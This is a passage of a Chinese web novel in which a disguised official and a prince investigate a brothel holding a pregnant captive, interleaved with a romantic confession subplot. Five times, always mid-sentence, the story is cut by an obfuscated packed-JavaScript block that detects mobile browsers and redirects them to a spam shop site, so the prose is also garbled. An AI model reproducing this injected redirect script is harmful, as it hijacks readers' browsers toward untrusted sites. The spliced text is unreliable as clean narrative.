云暮才脱下厚重的狐裘,绿梅就被沈聿明塞进她手中,浅绿色的外袍配上绿梅,“本王就说很般配。” 季川也点头附和:“不愧是王爷,眼光独特。” “咻——砰——砰——砰” 尖锐的爆鸣声响起,烟花直冲云霄,在半空炸开了花,又如流星洒落,季川和十五直奔窗户。 管事选的房间极好,除了能把京城纳入眼中外,还是观赏烟花的绝妙之地。 不多时,门外响起一阵脚步声,管事笑道:“太子殿下,这不就巧了,秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632415|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王也来了,就在隔壁呢。” “当真?” 惊喜的女声传进厢房,不用想就知道是谁,云暮幸灾乐祸道:“王爷,皇上前几日没能赐给你的福气,现在这不就来了。” “你对福气的理解倒是不同寻常。” 下一瞬,房门从外打开,太子率先走了进来:“皇弟。” 沈聿明的好心情在见到这群人后消失得无影无踪,他拱手行了一礼,淡淡道:“皇兄,真巧啊” 崔苒从人后挤上前来:“确实挺巧,出来看个烟花都能碰上秦王。” 冬至过后,她爹得知凶手刺杀一事后,便把她拘在府中,崔苒连沈聿明的头发丝都见不到。她借着救命之恩的名头,给王府送了不少东西,但都被原封不动地退了回来。 今夜若不是她发誓会寸步不离地跟着兄长和太子表哥,她爹也决计不会放她出府。 沈聿明看都没看她一眼,想把人赶去隔壁,太子已经注意到了季川和十五。 “这两位是?” 云暮回道:“这是下官的师兄季川,这是……” 她突然不知该如何说明十五的身份了,直言是捡回来的孩子未免太伤他的心。 “这是下官的儿子,云冬阳。” “你一个太监怎么会有儿子?莫不是从哪里掳来的?” 云暮心想,这崔五小姐还是一如既往的不会说话,她好心提醒:“五小姐,本将军也不是生来就是太监。” 太子一行人也是听过坊间的传闻,目光变得有些古怪,最后还是太子先开口:“云大人的行事风格,还真是超乎孤的意料。” 小主,这个章节后面还有哦, 请点击下一页继续阅读,后面更精彩! 第六十六章 她有身孕了 “什么?” 季川指着那个撒花的姑娘,斩钉截铁地说道:“她有身孕了。” 云暮眯着眼努力看清女子的动作,却什么都没看出来:“师兄如何得知?” “等你回江南,每日给几十个人看病,就能看出来了。” 街道上的人摩肩接踵,但也尽力为花车让出了一条道,一个小孩不知从何处跑出,就要横跨街道,车夫拼命勒住缰绳,这才没让小孩命丧马蹄。 撒花的姑娘的腹部狠狠撞在了花车的栏杆上,这才免于被甩下车的下场,但下一瞬,下身的襦裙突然红了一片,她就捂着肚子蹲了下去。 车上的姑娘发出一阵尖叫:“她流血了!” 又有人道:“大夫,谁是大夫?快救救她!” 方才还祥和美好的画面如今已经乱成了一团,除夕夜发生这种事,谁都不想沾上晦气,都只是在看着,并没有上手帮忙的意思。 马车笨重,掉头不易,车夫也怕出差池,正要绕到下一条街返回渡春风。 季川于心不忍:“师兄下去一趟。” 说完,他踩在窗上,借着周围的棚子平稳地落到了地上,他边往里挤边道:“借过借过,在下是万安堂的大夫,可否让在下看看?” 出门前,渡春风来了贵客,妈妈千叮咛万嘱咐,让他们看好姑娘们,现下居然出了这档子事,为首的小厮虽心急,但也不敢轻信,直到人群里有人认出了季川。 “这确实是万安堂的季大夫。” “季大夫医术高超,各位不妨让他看看。” 看着地上捂着肚子疼得打滚的宋华,小厮咬咬牙,让季川上了花车,若真死了人,他们担不起责任。 宋华疼得冷汗直流,忽然,一个身形修长挺拔的男子蹲在她身旁,温热的指尖搭在她的手上。 片刻后,季川拿出随身带着的银针扎在孔最穴等穴位上,疼痛终于暂得缓解。 宋华猛地抓住男人的手,苦苦哀求:“大夫,你救救我,我不想死。” 季川刚要甩开手,就察觉到袖口被人塞了东西,他顿了顿,还是掰开了女子的手:“血止住了,你们快些派人送她回去,请大夫来治病吧,再拖下去,人就要没命了。” 他想了想,还是没把这个姑娘有孕一事托出,青楼女子本就是人下人,在大庭广众之下说出,唾沫星子能把人淹死。 大过年的,医馆早就关了门,上哪去请大夫?小厮自然不会放过季川,示意车夫继续向前,他则转身对季川讨好道:“季大夫,大晚上的也请不到大夫,得麻烦你同我们一道回去,只要治好她,诊金你随便开。” 这话说得真阔气,季川一副被钱迷了心窍的模样:“此话当真?” 小厮拍了拍胸膛:“只要能治好,渡春风少不了季大夫的好处。” 季川捂着鼻子妥协:“成交,只是兄台能否先让季某下车,这花香和脂粉味太冲,鼻子遭不住。” 花车重新走动之时,云暮侧过脸,一张裹着石头的字条擦着她的脸把墙砸出了一个小坑。 从后门一直往里,季川越走越心惊,在江南时,他也给青楼的姑娘看过病,最差的也是两人住一间房,没想到渡春风的姑娘住得竟比江南那些生意惨淡的青楼还不如。 在渡春风单独点姑娘陪酒最少都要花上十两银子,更别提过夜,赚了这么多钱,竟不舍得花在姑娘身上。 先前听说大夫来诊脉一事,还当渡春风的老鸨多有人情味呢,结果也是个黑心肝的。 老鸨柳娘着急赶到,下一瞬,就被季川的话震在原地。 “她有身孕了,你知道吗?” 柳娘的第一反应不是惊诧,反倒是恼怒:“小贱蹄子,怀了身孕也不说。” 又对季川道:“大夫,这孩子还能保住吗?” 季川奇道:“旁的青楼都恨不得一碗打胎药灌下去,你怎么还想留下。” 柳娘是见过大世面的人,自然不会被两句试探的话难住,她叹了一声:“听说大夫是在万安堂看诊,自然也知晓渡春风每个月都会请大夫来给姑娘号脉。” “做我们这行,外头只看到风光,却不知背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632416|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多艰辛,我也是怕她们身体出问题,你看看华娘,这身子骨,若腹中的孩子保不住,也不知她以后还能不能为人母,我实在是痛心。” 柳娘拉着宋华的手,苦得那叫一个肝肠寸断,季川面上感动,嘴里却冰冷地说出了三个字:“保不住。” 宋华的手搭在腹部,泪水无声地从眼角落下,她心道:“对不住了孩子,希望来世你能投到一个好人家的家里。” 小厮端过一碗棕黑的药汁,直接灌进了宋华嘴里,惨叫声被一团抹布堵在了喉间,季川不忍地闭上双眼。 半个时辰过后,季川擦了擦额上的汗,疲倦道:“按着这个方子去抓药,喝上一个月。” 他收起桌上的银针,就要离开,临出门前,被小厮挡住了去路,“不好意思了季大夫,你得配合我们搜个身。” 季川怒道:“我好心替你们的姑娘诊治,你如今要搜我的身?坊间常说的农夫与蛇,今日也是让季某遇上了。” 小厮虽也不想,但碍于柳娘的 逼迫,只能低声道:“不是我们不信季大夫,只是这姑娘手脚大方,怕她给了你不该拿的东西,我这也是为了你好。” 季川怒极反笑,脱下外衫砸进小厮的怀里,“搜,只是我有话在先,若你们搜不出东西,诊金翻倍。” 柳娘打着哈哈,“季大夫,这……” 季川冷冷道:“怎么,渡春风出不起诊金?大雪夜的,我抛下家中妻儿老小过来,你们莫不是以为我行善事?” 反正没人知晓他的身份,还不是随他胡诌? 柳娘尴尬一笑,季川的身份已经有人同她说了,众目睽睽之下跟着花车回来,若不明不白的死了,只怕官府会有人查到渡春风,她只能咽下这口气。 “渡春风怎会赖账。” 见小厮对她摇头,柳娘从怀里掏出一张五十两的银票:“今夜辛苦季大夫了,这些就当是妾给孩子的压岁钱。” 安全出了渡春风后,季川终于松了口气,好在他有先见之明,把东西送了出去。 “上面写了什么?” 第六十七章 表白 听完季川的话,云暮又把字条看了一遍,上面只写了几个字:“求您替我报官若得救,有重谢。” 落款的名字叫宋华。 宋华,华娘,是那个姑娘在求救。 渡春风的老鸨曾说过,楼里的姑娘都是自愿来的,并无强迫一说,这个宋华怎会求助一个只有一面之缘的季川? 再者,一个月号一次脉,她们怎会不知宋华有孕? 季川解释道:“有些妇人体弱,胎儿为了自保,孕妇在孕中也会照常来月事医术不够诊不出来。” “小暮,这事你要怎么做?” 大梁官员不得狎妓,宴席散后各回各家,云暮也不曾踏进过这些地方,是以她对渡春风这种地方不甚熟悉。 “渡春风能在京中开这么多年,背后必定有人,先去探探情况再做决定。” 沈聿明提醒道∶“你要去青楼?云大人怕不是忘了,大梁官员不得狎妓,你一进去,只怕她们就要销毁证据了。” 云暮和季川对视了一眼,狡黠一笑:“谁说我要以真面目示人了?” 刚到江南不久,云暮怨天尤人,恨神佛不肯给云家一个清白,为了报复,她隔几日就去庙里开荤,怕被人抓住,她用刚学到一点皮毛的医术做了一张人皮面具,每每行事都要戴上。 但坏事做多了总会被人发现,季川捏着那个人皮面具威胁她,“下次若不把师兄带上,师兄就去和师父告状。” 云暮只能把人带上,作为回报,季川改良了她的人皮面具,两人逃过了一劫又一劫。 她拿出一个人皮面具,捣鼓了几下,盖在脸上,声音也换了一种音色:“涿州知县李北,见过王爷。” 沈聿明凑到她面前,“能摸摸吗?” 云暮大方点头,把脸往前一伸:“一次二十两,摸吧。” 温热的呼吸喷洒在沈聿明的脸上,他瞬间屏住了呼吸,而后飞快掏出一张银票:“那本王摸个五百两的。” 云暮喜滋滋地把钱收入怀中,得意道:“怎么样,下官这手艺不错吧?王爷以后若是想去青楼,可来找下官订一张面具,友情价一百两银子。” 沈聿明的手放在脸上,竟能感受到些许温度,他啧啧称赞:“妙哉。” 手一寸一寸描着她的眉骨,最后探到她耳后,指尖一勾,把人皮面具揭开一个角,因姿势的关系,云暮像是被他揽在怀中。 季川拿着吃饭的家伙到书房时,东西差点掉到了地上,当下顾不得尊卑,直接拉开沈聿明,怒视着他∶“你们在干嘛?” 又一脸痛心地看向云暮,劝导的话变成了疑惑:“你是?” 面前这张陌生的脸问道∶“师兄,怎么样,我这技术是不是比以前要好?” 季川撕下他的人皮面具,松了口气:“你们原来在看面具啊。” 云暮扬了扬那张银票:“摸一下五百两,要不我再带上面具给师兄摸一摸?” 季川捏了一把他的脸,果断拒绝,“没钱,师兄我只会白嫖。” 沈聿明重复着季川的动作,一把拉开二人,“正事要紧。” 离子时还有一个时辰,与其干坐着守夜,不如先把人皮面具给做了出来。 云暮提笔在面具上瞄着眉毛,沈聿明好奇道:“沾水不会晕开吗?” 云暮画完最后几笔才回道:“不会,这墨水是特调的,等它干了用手抹都不会掉。” 最后,三张人皮面具整整齐齐地摆在桌上,云暮拍了拍身旁的位置,对沈聿明说道∶“王爷,过来试试。” 冰凉的面具覆在脸上,一双手在他脸上不断游走,冰凉的手指不经意碰到耳垂,沈聿明长且翘的睫毛轻轻颤动了几下,他莫名觉得有些口干。 察觉到他在颤抖,云暮问道:“冷?” 不应当啊,她怕冷,每年天冷前,安叔都会派人清理地龙,她都有些冒汗了,沈聿明怎么还冷? 沈聿明暗骂他不争气,好一会儿才想到一个蹩脚的理由:“面具太冷。” 季川早就戴好,他想起那五百两,心痒难耐:“王爷,或许你也想摸一下我的人皮面具。” 沈聿明还记着被拉开的仇,冷酷拒绝:“太丑了,本王不想。” 这话倒也没错, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632417|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云暮为了方便打探消息,做的面具普通中还带着一丝猥琐,让人看了不仅欲望全无,还想让他们倒贴钱。 看着沙漏里的沙子快漏完,他们才揭下面具。 夜晚敲钟唤阳,子时才到,钟楼传来阵阵钟声,足足一百零八道。 喧嚣过后,京城重归宁静,季川和他们道了祝福后,迈着带着困意的步伐回了房。 沈聿明不知从何处拿来了几支铁线烟花,用火折子点燃引线,看着它们从绚丽到消散。 “云暮,这是我们一起过的第一个年,你有什么愿望吗?” 愿望,早日找出杀害父母的凶手算不算? 云暮半张脸隐在暗处,笑得轻松:“自然是有的,只是愿望说出来就不灵了。” 沈聿明把手横在膝上,搭在上面的头偏向云暮:“只要你说,本王定为你办到。” 云暮低声道:“可有些事,只能我一个人去做。” 声音太轻,被吹散在风雪之中。 不知怎的,云暮突然想起她师父,那个给她擦过无数次眼泪的老头,“除夕夜可不能苦,否则未来一年都要一直掉眼泪。” 云暮起身折下一枝梅花,雪中舞枝,掠起地上厚重的积雪,雪花从空中缓缓飘落,落满了她的发。 一曲笛声终了,云暮挽了一个剑花,梅枝正好横在沈聿明面前,“王爷,明年除夕,再一起看场烟花吧。” 沈聿明接过梅枝,眼神却不离云暮,想拍去她头上的落雪,却突然想起了一句话,“今朝若是同淋雪,此生也算共白头。” 可他会一直陪在云暮身边,何须淋雪作白头? 他伸手盖住云暮亮晶晶的双眼,低头伏在她耳边道:“别这样看我。” 她身边都是一些居心不良的人,每次看到她和他们走在一块,他心里总会生出一个阴暗的念头,想把她关在一个只有他知道的地方。 云暮不明所以地眨了眨眼睛,“怎么了?” 睫毛如羽毛轻扫手心,沈聿明深吸了一口气,低头伏在她的耳边,“云暮,我心悦你,所以,别这样看我,我怕我忍不住。” 第六十八章 骗子 视线被遮挡,五官便会放大,低沉的嗓音,温热的鼻息,云暮的双耳噌的一下瞬间变得通红,心跳也漏了好几拍。 想把沈聿明推开,但被他按着腰牢牢锁在怀中,“你放开我!” 沈聿明一时冲动,把心事宣之于口,但话都说出了口,今夜不管如何都要知晓云暮的心思,他不退反进:“你还没告诉我你的想法,不放。” 脑子被沈聿明的话搅成了一团浆糊,云暮竟忘了强行用武力挣脱。 沈聿明搂着她的腰,一步一步把人逼到梅树下,枝头的雪花簌簌落下。 “云暮,我心悦你,你呢?” 此刻的沈聿明犹如岸边的礁石,不知浪头什么时候会落在他身上。 这么多年,示好、威逼、利诱等等手段都有人在她身上使过,但她一次都没有妥协,唯独对沈聿明一再忍让。 冒着被梁文帝迁怒的风险,让他在云府出入自如,为了他,算计太子,这真的只是为了能和他联手查出害死她爹娘的真凶吗? 云暮仰头,撞进了沈聿明含笑的双眸,他微微倾身,专注且耐心地等着她的回答。 见她不语,沈聿明垂下眼帘,拉起她细白的手指放在她的心口,“你看,每次见了你,它总是跳得格外的快。” 一下,两下…… 云米心中那堵万丈高墙上掉下几块碎石,把她砸得晕头转向,她心中唯一的念头就是逃避。 “我不知道。” 沈聿明并不打算放过她:“那你面对我时,有什么感觉?” “什么都没有!” 云暮的声音突然大了几分,有些欲盖弥彰的意味。 沈聿明心口一松,意味不明地笑了笑:“那我换个问法。” “这样,你讨厌吗?” 手掌慢慢抚过沾雪的发丝,指尖轻轻擦过耳畔,覆上了半边面颊。 云暮猛地把人推开,对着沈聿明的脸就是一巴掌:“登徒子。” 跑回房后,云暮嘭的一声把门关上,后背抵在门上,缓缓坐到了地上,她单手捂住心口,一时分不清剧烈跳动的心是因为一路跑回来还是沈聿明的触碰。 当年她一进宫,就因这张脸生得还行别人盯上,但都被她一一打了回去。他们没能得手,就故意引来了梁文帝身边的大太监,许文盛。 许文盛虽没了根,但对那档子事尤为热衷,不少太监宫女都折在了他手上,即便如此,还是没人敢去梁文帝面前揭发他,只因他是陪着梁文帝一路走上来的。 云暮被他使手段调到身边,方便他动手动脚,见利诱不成又想威逼,但云暮在京中没有把柄,通医理又有武艺傍身,一次都没让他占到便宜。 种种事情加起来,云暮越发厌恶别人的触碰,抚上被沈聿明碰过的面颊,上面好似还留着他的温度,云暮猛地收回手。 她真是疯了! 卧房的桌上,安静地躺着一串用红绳串起的铜钱,云暮用指尖勾起,拿起压在下面的信笺。 “岁聿云暮,敬颂冬绥,一元复始,万象更新。” 笔迹苍劲有力,云暮一看便知是沈聿明写的,才平复的心再次狂跳。 用锦被蒙住头,但翻来覆去总是睡不着,闭上眼时,沈聿明的心跳和那封祝福不断在她脑海里切换。 又一阵辗转反侧后,她拔出剑在院中练起了剑,从前心烦时,她就会独自练剑,不知过了多久,终于冷静了下来。 她脱力地躺在院中,良久,才叫小厮送来热水。 …… 正月初一,文武百官入宫朝贺。 朝拜过后便是出宫祭拜大梁先祖,云暮作为金吾卫上将军,必须随侍左右,不可避免地撞见了沈聿明。 两人相对无言,见沈聿明想要开口,她忙走到梁文帝跟前,抢过黄如海手中的香。 不知怎么面对,她再一次选择了逃避。 今儿一早,云暮就不见了身影,朝贺时,沈聿明几次想搭话,又都被人打断。他不停地摆弄着腰间的玉佩,却怎么也无法平下内心的纷乱,面上也多了一丝烦躁。 太子的目光在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632418|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们两人之间不停打转,笑问:“这是怎么了,难不成和云大人吵架了?” 猜不透云暮的想法,沈聿明烦得不行,也懒得给太子好脸,他冷着脸说道:“没有。” 太子笑笑,没再说话。 直到宫宴结束,沈聿明才得以喘息,临走前,他叫人拿了一壶烈酒。 听到叩门的声音,云暮还没让进,就落入了一个满是酒气的怀抱。 “你……” 察觉到她想推开,沈聿明搂得更紧了,委屈巴巴地说道:“你又要推开我,我才不要放手。” 越挣扎,沈聿明搂得越紧,云暮推不开,硬的不行,只能来软的了。 她扯了扯沈聿明的衣服,“沈聿明,酒气熏得我难受,你先放开好不好?” 想到她不能喝酒,沈聿明的力道终于松了几分,但还是抓着她的手不放。 怕装醉被发现,他硬是喝完了那壶酒,被冷风吹了几下,已经醒了几分,现在被云暮这样哄着,酒意又开始上头,于是控诉道:“你今日都不理我!” 云暮看 着他不顾身份地坐在她面前的脚踏上,带着水意的双眼幽怨地看着她,好似她是什么薄情寡义的负心女。 她心里对沈聿明也是又好感,否则不会容忍他一次又一次,但这点感情还不足以让她点头。 大仇得报后,她只有一个想法,就是回江南。而沈聿明只有两条路,一是登上那个位置,二是事败被手足所杀。 若是第二条倒还好,她把人救出一并带回江南,若是第一条呢?她不想后半生还是被困在这四四方方的小院。 云暮垂眼,一根一根掰开沈聿明的手,残酷地说道:“沈聿明,我们不可能。” “你骗人。” “你就是一个骗子!小时候就骗了我,长大了还是骗我!” 沈聿明摇头,声音沙哑,想加重力道握紧挣脱的手,但又怕抓疼了她,只能颓然地松开手。 云暮定定看着沈聿明,却怎么也对不上脸:“我什么时候骗过你?” 第六十九章 要拒绝吗? 云暮把记忆都搜刮了干净,也没能找出沈聿明的半个身影。 两人刚认识不久,云暮总有一种对方透过她在看另一个人的感觉,她微微眯起双眼,轻声问道:“沈聿明,你把我认成谁了?” 她没有做人替身的爱好。 沈聿明头疼欲裂,倚在榻边,嘴里含糊不清地说着什么,但云暮只听到了“建安三年”。 建安三年,梁文帝登基初期,云家圣眷正浓,彼时四岁的她常被阿爹带入宫中,但当时宫中除了太子,并无其他和她年龄相仿的孩子。 云暮轻点着太阳穴,终于从记忆里翻出了一件旧事。 一日从宫里回来后,她发了高热,三天才退,醒来发现她忘了那几天的事,之后阿爹再也没有戴她进过宫。 所以,她和沈聿明相识正好就是那几日发生的事,又正好忘了个一干二净? “沈聿明?” 没得到回应,云暮拍了拍他,才发现人已经醉得不省人事了,她认命地把人搬到榻上,正要去给他拿张被子盖上,而后腰间一紧。 沈聿明抱着她的腰,一副睡眼迷瞪的样子:“你去哪,别再丢下我了。” 云暮握着他的手,转身:“沈聿明,我是谁?” 沈聿明头也不抬,在她柔软的的小腹上蹭了蹭:“云暮,你是云暮,从第一次见面我就知道是你,你骗不了我。” 这个动作,像极了从前认识的一只大黄狗,每次见了她,先是朝她汪汪叫了几声,而后兴奋地拱她。 云暮深吸了一口气,忍住揉他脑袋的冲动,把人扯开:“我去给你拿张被子。” 再待下去,只怕离沦陷不远了。 …… “醒了就别装睡了。” 沈聿明掀开被子,觑着云暮的脸色,小心翼翼地问道:“我后面没做什么冒犯你的事吧?” 这是不记得了?云暮挑了挑眉,反问:“你真的什么都不记得了?” 沈聿明不知想到什么,脸色一白,很快就低下了头:“不记得了。” 好似这样就能忘掉那句不可能。 云暮本想逗逗他,但见他这样,只好歇了心思,坐直身子后,她认真地说道:“沈聿明,我们谈谈吧。” 沈聿明扶着桌子,跌跌撞撞下了榻:“本王还有事,有什么等下次再说吧。” 看他趿着鞋就要往外走,云暮终于出声:“你若是敢走出这个门,往后我们大路朝天,各走一边。” 沈聿明的脚步一顿,内心有两个小人在拉扯。 一个说道:“走就走,冷她几天。” 另一个则道:“云暮说到做到,若是走了,前功尽弃,你找了她这么久,甘心放手吗?” 云暮伸手把人拉到身边,把晾好的醒酒茶塞到他手里:“喝了再说。” 一杯温度适中的茶硬是喝了一炷香的时间。 又沉默了许久,还是云暮先开了口:“我留在京城的目的你都知道,一日不找出杀害我爹娘的凶手,我一日不安,他们杀了我爹娘,还能让陛下不追究,也能杀了我。” “为了不给他们留下拿捏我的把柄,这么多年,我孤身一人,从未支持过任何一位皇子。” “收留十五一开始并非我的本意,我当时想的不过是借他的手挖出他背后之人。” “除了你,沈聿明,我一早就猜到你接近我别有居心,但我还是默许了。” 他是她的例外,沈聿明猛然抬头。 “第一次见面,你就触了我的霉头,凭那点情报,不足以买下你的命,但我还是放了你,当时若是宋枫他们在场,你早就成一抔黄土了。” 提到宋枫,沈聿明有些不悦,但还是没打断云暮的话。 “不是没人往云府送礼,只是我从来不收,久而久之,就没人送了,这几年,只有你的东西能进云府,也只有你能随意进出云府。” 云暮捧起他的脸,一字一句道:“沈聿明,我心里确实有你,但你想要的,我给不起。” “我不想一辈子都被困在皇宫,而你也该娶一个对你有帮助的人,比如崔五。” 沈聿明紧紧抓住她的手,“我心里只有你,我不要那个位置了,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632419|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们事了,就离开京城,回药王谷或是去其他地方,我都陪你。” 他说得很急,颤抖的声音里带了一丝哀求。 云暮的拇指动了动,“从你入京的那一刻,就已经上了棋盘了,现在想脱身,只怕为时已晚。” “我还知道,你要查的不止你母妃的事。” 每个人都有秘密,她也有,所以她不怪沈聿明瞒她。 沈聿明一怔,下意识握紧手中的东西。 “所以,昨夜之事,我们权当没发生过吧。” 沈聿明摇头,头无力垂下,搭在她的颈窝,声音低哑又疲倦:“云暮,听说云家的事后,我偷偷回过京城,除了断壁残垣,什么都没见到。” “再次听到这个名字时,我就派人去了京城,描了你的画像,在见到你的第一眼,我就怀疑你的身份。” “但你掩饰得太好,让我无从查证,好不容易确认了你的身份,可你什么都不记得了,不记得我,也不记得我们的约定。 ” 带着鼻音的声音,肩头传来的湿润,让云暮有些不忍,抬起的手最终还是放在了他的背上。 “如果我把我回京的目的告诉你,你能不能重新考虑?你心里有我,不是吗?” 沈聿明不死心。 云暮被他的话逗笑了,如愿地拍上了他的头:“你的目的不是我拒绝的原因。” 她低声喃喃:“我们都太弱了,君恩不再,举步维艰。” 若他们事发,梁文帝盛怒,第一个要杀的就是她,现在的她还赌不起。 两人就这个姿势沉默了半晌,良久,云暮终于把沈聿明推开:“好了,等会儿让人看见就不好解释了。” 沈聿明用还带着鼻音轻声问道:“往后,我还能随意过来吗?你能不能不要拒绝我的示好?” 从前她不知,心安理得地享受着他的付出,现在懂了,自然不肯再接受。 云暮摇头:“这对你不公平。” 沈聿明仰头看她,像是用尽了全部的力气,:“我不在乎,就这一件事,别拒绝我了好不好?” 第七十章 三人共探渡春风 “三位客人,渡春风的姑娘白天休息,不方便接客,你们不如晚上再来?” 三个相貌普通的男人才到渡春风门口,就被几个龟公拦住了去路。 为首的云暮丢给他两锭金子,“你还不配和我们哥几个说话,换个能做主的人来。” 龟公各咬了一口后,喜笑颜开,朝身后一扬手,就有人往楼上去了。 没多久,柳娘不急不缓地走下了楼,眼神没在金子上停留,“几位官人,姑娘们才刚歇下呢,累了一夜,恐怕不能让你们尽兴,不如等她们歇好了再来?” 云暮把一张五百两的银票拍到她的胸口:“尽不尽兴,我们说了算,你这门开着就是做生意的,哥几个只是来京城做些小本买卖,再晚一会儿就要出城了,等不到晚上。” “五百两,给我们叫一个姑娘,若是玩死了,再给你们二百两的买命钱。” 大梁官员不许狎妓,但山不来就我,我就山,稍稍使些手段,银子也少不了,光点一个姑娘就给这么多的,也是少见。柳娘原想拒绝,但又实在舍不得这么多银子,况且,他们只点一个姑娘。 人死了,她拿七百两,就算人不死,也能有六百两,柳娘心思有活络了起来,笑意吟吟地把几人往楼上请:“官人,你们可有看好的姑娘?” “我们头一次来京城,也不太懂,凭你安排。” 他们查过,宋华的姿色在渡春风中不过平平,最近更是因为伤了身体接不了客,柳姨早就对她心生不满。 云暮在赌,赌柳姨这种丧尽天良的人会主动把宋华送来。 柳娘眼珠子一转,吩咐了几句。 那个赔钱货这几日接不了客也就算了,还要花钱买药,那副瘦弱的身子,也不知还能不能怀上身孕,与其再浪费银子养她,不如给她一个将功补过的机会。 宋华木木地躺在床上,眼神死寂,任由龟公把她拖下床。 “给你一炷香的时间收拾,等会儿去接客。” 角落的一个姑娘看不过去:“她身子还未好,我替她去。” 龟公咧开嘴笑,在昏暗的屋里,让人生寒:“三位客人只点了华娘子。” 宋华如提线木偶般往脸上擦粉,涂口脂,又换上了一套红纱薄衣。 字条已经给出去三天,还是无人来救她,或许,她命该如此,若是今天被人折腾死,她也算解脱了。 “三位官人,华娘来了。” 嘎吱声响,一个红衣女子款款走来,举手投足间,香风阵阵,但只要人定睛细看,就能发现厚重的脂粉下,是掩饰不住的疲色。 宋华走到里间,三个大腹便便的男人正瘫坐在椅子上百无聊赖地甩着皮鞭。 她呼吸一窒,想要转身离去,但门已经被人从外关上,她心如死灰地朝着几人走去,强颜欢笑:“奴家华娘,三位官人今日打算玩些什么花样?” 季川凑到云暮的耳边,低声道:“就是她。” 赌赢了。 “过来。” 云暮把皮鞭一丢,手指在纸条上轻点,“你写的?” 宋华不知他们身份,看着也不像官府之人,她脚下一软,跪倒在地,咬死不认:“官人,叫宋华之人多如过江之鲫,你们怎么就能一口咬定是奴家所写。” 俯身之时,胸前风光一览无余。 沈聿明二人移开目光,在房中四下踱步,就是不看宋华。 大理寺的腰牌被云暮轻轻搁在桌上:“是嘛,宋华大费周章让人来官府报官,既然是我们认错人,那就先告辞了。” 把腰牌重新收回囊中,云暮几人就要往外走,在门被打开的前一瞬,宋华跪行到他们身后,抓着云暮的衣摆,“求三位大人垂怜。” 云暮把外袍递给宋华,“披上再回话。” 单薄的外袍,让她捡起了为数不多的尊严,宋华小声道谢。 “把你知道的都说出来。” 谈及往事,宋华的泪水如不绝江河,她认不出腰牌真假,但这是她唯一的机会了,若他们真是柳娘派来试探她的,那她也认了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632420|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “奴家住在升平坊的顺义胡同,家中还有一个……” 一口气把事情的原委都说了出来,宋华把脸埋在双臂之中,苦得上气不接下气。 她爹离世后,家中只剩下她和母亲二人,但这么多年了,母亲也没有让她吃过一点苦头,就算是外出,也会托隔壁的婶子照顾好她。 母亲不在,她就把家里收拾得干干净净,种菜养鸡,一个人也要把日子过好。母亲回来时,两人一起赶集,布置好两人的小家。 她和母亲不过是想攒够一笔钱,早日回老家,她们做错了什么,为什么会落得这个下场?为什么她就连死都做不到? 